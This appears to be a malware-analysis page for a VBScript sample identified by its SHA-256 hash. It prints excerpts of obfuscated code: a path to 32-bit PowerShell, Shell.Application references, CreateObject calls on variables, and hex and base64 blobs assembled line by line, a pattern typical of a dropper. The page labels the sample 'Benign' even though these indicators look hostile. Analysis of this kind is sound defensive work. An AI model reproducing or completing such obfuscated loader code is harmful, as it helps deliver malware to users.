Benign Download

43aaa7f39e9bb4039f70daf61d84b4cde2b3273112f9d022242f841a4829da03.vbs

VBScript CreateObject variable argumentPowerShell executable name reference
SHA-25643aaa7f39e9bb4039f70daf61d84b4cde2b3273112f9d022242f841a4829da03
MaleculeO(As)H₂(DbPo)Md

Evidence

PowerShell executable name reference lines 24–32
24:48…
25Frui3="%windir%"
26Graperoota="\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"
27SODOMIENSA="REG_SZ"
28ANERGIAS="Shell.Application"
⋯4 lines
Encoded content decoded: hex lines 122–124
122:99… 0BE86DD5F47D82B4005B00005B00005B00005B00005B00"
123oxid = oxid & "005B00005B00005B00005B00005B00005B00005B00005B00005B00005B00005B00005B00005B00005B00005B00005B0000"
124oxid = oxid & "5B00005B00005B00005B00005B00005 …
Encoded content decoded: base64 lines 837–839
837:145… IAAyACkADQAKAA0ACgANAAoADQAKAEYAbwBy"
838Rationali = Rationali & "ACgAJABpAD0AMAA7ACAAJABpACAALQBsAHQAIAAkAE8AcgBlAGEAZABzAHMALgBMAGUAbgBnAHQAaAA7ACAAJABpACsAPQAyACkADQAKAAkAewA"
839Rationali = Rationali & "NAAoAIAAgAC …
VBScript CreateObject variable argument lines 844–854
844:132… wAzACwAIAAwACwAMAAsADAA"
845Rationali = Rationali & "LAAwACkADQAKAA0ACgANAAoA"
846
847
848set objShell = CreateObject(TEMIAKSOR)
849set CCA = CreateObject(Furr6)
850set objShell = CreateObject(TEMIAKSOR)
⋯4 lines

Keyboard shortcuts on this page: j for the next sample, k for the previous one, x to go back to the feed, d to download the original bytes, r to re-queue the sample for analysis.